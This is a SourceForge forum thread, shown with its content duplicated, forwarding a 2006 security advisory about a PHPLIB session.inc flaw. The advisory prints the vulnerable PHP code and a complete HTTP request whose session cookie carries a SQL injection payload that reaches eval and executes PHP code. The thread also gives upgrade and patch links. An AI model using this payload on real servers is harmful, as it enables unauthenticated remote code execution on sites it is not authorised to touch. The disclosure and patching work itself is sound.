I reported this issue to all of the developers I could find on the PHPLIB about page some time ago, but still have heard nothing back. Does anyone know a way that I can contact the PHPLIB developers?
Kind Regards,
James
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
I see you have made it and that 7.4a was released. Since I have many projects that use phplib I would like to know a bit more about this possible remote code execution exploit. I understand that it would not be wise to list all of the details, but could you at least elaborate a bit more? I mean, is the exploit applicable to all installations? Just so I know if I have to upgrade all of my pages to a new version or not.
Thanks!
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
I posted this to the phplib-users mailing list last week but it isn't in the archive:
To: phplib-users@lists.sourceforge.net
From: Richard Archer <rha@juggernaut.com.au>
Subject: [Phplib-users] Upcoming GulfTech Security Research advisory
Date: Thu, 2 Mar 2006 14:27:23 +1100
Greetings,
James at GulfTech Security Research has kindly allowed me to
post a draft of his upcoming security advisory to this list
before he releases it to the general community. This will give
PHPLIB users some time to upgrade before any potential exploit
becomes available.
I believe this only effects session.inc, not session4.inc.
So if you are using PHPLIB with php4 sessions, this particular
problem shouldn't be an issue for you.
My thanks to James at GulfTech Security Research for alerting
us to this problem and allowing time to release a solution
before releasing the advisory.
...Richard.
---begin forwarded text
GulfTech Security Research Advisory
Remote Code Execution:
There are some serious security issues in phplib's session
handling that may allow an attacker to perform a range of
attacks such as SQL Injection, and/or Remote Code Execution.
## Propagate the session id according to mode and lifetime.
## Will create a new id if necessary. To take over abandoned sessions,
## one may provide the new session id as a parameter (not recommended).
function get_id($id = "") {
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS,
$HTTP_SERVER_VARS;
$this->newid=true;
if ( "" == $id ) {
$this->newid=false;
switch ($this->mode) {
case "get":
$id = isset($HTTP_GET_VARS[$this->name]) ?
$HTTP_GET_VARS[$this->name] :
( isset($HTTP_POST_VARS[$this->name]) ?
$HTTP_POST_VARS[$this->name] :
"") ;
break;
case "cookie":
$id = isset($HTTP_COOKIE_VARS[$this->name]) ?
$HTTP_COOKIE_VARS[$this->name] : "";
break;
default:
die("This has not been coded yet.");
break;
}
}
### do not accept user provided ids for creation
if($id != "" && $this->block_alien_sid) { # somehow an id was provided
by the user
if($this->that->ac_get_value($id, $this->name) == "") {
# no - the id doesn't exist in the database: Ignore it!
$id = "";
}
}
The above code is from sessions.inc @ lines 85-121. The variable
$id gets it's values from either GET or COOKIE and is never made
safe before being passed to the function ac_get_value() which uses
the variable in a query, thus allowing for SQL Injection. However,
it is possible to manipulate the query in a way that php code is
returned and passed to a vulnerable eval call.
GET /phplib/pages/index.php3 HTTP/1.1
Host: example.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)
Gecko/20060111 Firefox/1.5.0.1
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
For example, the above request made to the index.php3 script that
is shipped with phplib will successfully execute the phpinfo call.
This could obviously be used for more sinister purposes such as
running arbitrary system commands and the like. Also, since user
authentication is not necessary to exploit this vulnerability, the
risk of being exploited is much higher.
---end forwarded text
-------------------------------------------------------
This SF.Net email is sponsored by xPML, a groundbreaking scripting language
that extends applications into web and mobile media. Attend the live webcast
and join the prime developer group breaking into this new coding territory! http://sel.as-us.falkag.net/sel?cmd=lnk&kid=110944&bid=241720&dat=121642
_______________________________________________
Phplib-users mailing list
Phplib-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/phplib-users
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Hello,
I reported this issue to all of the developers I could find on the PHPLIB about page some time ago, but still have heard nothing back. Does anyone know a way that I can contact the PHPLIB developers?
Kind Regards,
James
I see you have made it and that 7.4a was released. Since I have many projects that use phplib I would like to know a bit more about this possible remote code execution exploit. I understand that it would not be wise to list all of the details, but could you at least elaborate a bit more? I mean, is the exploit applicable to all installations? Just so I know if I have to upgrade all of my pages to a new version or not.
Thanks!
I posted this to the phplib-users mailing list last week but it isn't in the archive:
To: phplib-users@lists.sourceforge.net
From: Richard Archer <rha@juggernaut.com.au>
Subject: [Phplib-users] Upcoming GulfTech Security Research advisory
Date: Thu, 2 Mar 2006 14:27:23 +1100
Greetings,
James at GulfTech Security Research has kindly allowed me to
post a draft of his upcoming security advisory to this list
before he releases it to the general community. This will give
PHPLIB users some time to upgrade before any potential exploit
becomes available.
I believe this only effects session.inc, not session4.inc.
So if you are using PHPLIB with php4 sessions, this particular
problem shouldn't be an issue for you.
The solution to this vulnerability is to upgrade to 7.4a
which is available from our Sourceforge download page:
http://sourceforge.net/project/showfiles.php?group_id=31885
Or if you prefer, manually apply a patch to php/session.inc:
http://cvs.sourceforge.net/viewcvs.py/phplib/php-lib-stable/php/session.inc?r1=1.19&r2=1.20
My thanks to James at GulfTech Security Research for alerting
us to this problem and allowing time to release a solution
before releasing the advisory.
...Richard.
---begin forwarded text
GulfTech Security Research Advisory
Remote Code Execution:
There are some serious security issues in phplib's session
handling that may allow an attacker to perform a range of
attacks such as SQL Injection, and/or Remote Code Execution.
## Propagate the session id according to mode and lifetime.
## Will create a new id if necessary. To take over abandoned sessions,
## one may provide the new session id as a parameter (not recommended).
function get_id($id = "") {
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS,
$HTTP_SERVER_VARS;
$this->newid=true;
$this->name = $this->cookiename==""?$this->classname:$this->cookiename;
if ( "" == $id ) {
$this->newid=false;
switch ($this->mode) {
case "get":
$id = isset($HTTP_GET_VARS[$this->name]) ?
$HTTP_GET_VARS[$this->name] :
( isset($HTTP_POST_VARS[$this->name]) ?
$HTTP_POST_VARS[$this->name] :
"") ;
break;
case "cookie":
$id = isset($HTTP_COOKIE_VARS[$this->name]) ?
$HTTP_COOKIE_VARS[$this->name] : "";
break;
default:
die("This has not been coded yet.");
break;
}
}
### do not accept user provided ids for creation
if($id != "" && $this->block_alien_sid) { # somehow an id was provided
by the user
if($this->that->ac_get_value($id, $this->name) == "") {
# no - the id doesn't exist in the database: Ignore it!
$id = "";
}
}
The above code is from sessions.inc @ lines 85-121. The variable
$id gets it's values from either GET or COOKIE and is never made
safe before being passed to the function ac_get_value() which uses
the variable in a query, thus allowing for SQL Injection. However,
it is possible to manipulate the query in a way that php code is
returned and passed to a vulnerable eval call.
GET /phplib/pages/index.php3 HTTP/1.1
Host: example.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)
Gecko/20060111 Firefox/1.5.0.1
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
For example, the above request made to the index.php3 script that
is shipped with phplib will successfully execute the phpinfo call.
This could obviously be used for more sinister purposes such as
running arbitrary system commands and the like. Also, since user
authentication is not necessary to exploit this vulnerability, the
risk of being exploited is much higher.
---end forwarded text
-------------------------------------------------------
This SF.Net email is sponsored by xPML, a groundbreaking scripting language
that extends applications into web and mobile media. Attend the live webcast
and join the prime developer group breaking into this new coding territory!
http://sel.as-us.falkag.net/sel?cmd=lnk&kid=110944&bid=241720&dat=121642
_______________________________________________
Phplib-users mailing list
Phplib-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/phplib-users
Thank you for your reply!
Yes, I see, the problem is with ac_get_value not using addslasses() and input not being sanified.
Fortunately this only applies to session.inc and not session4.inc, so there are only a few of my projects that need upgrading.
Thanks again, happy coding!
Anze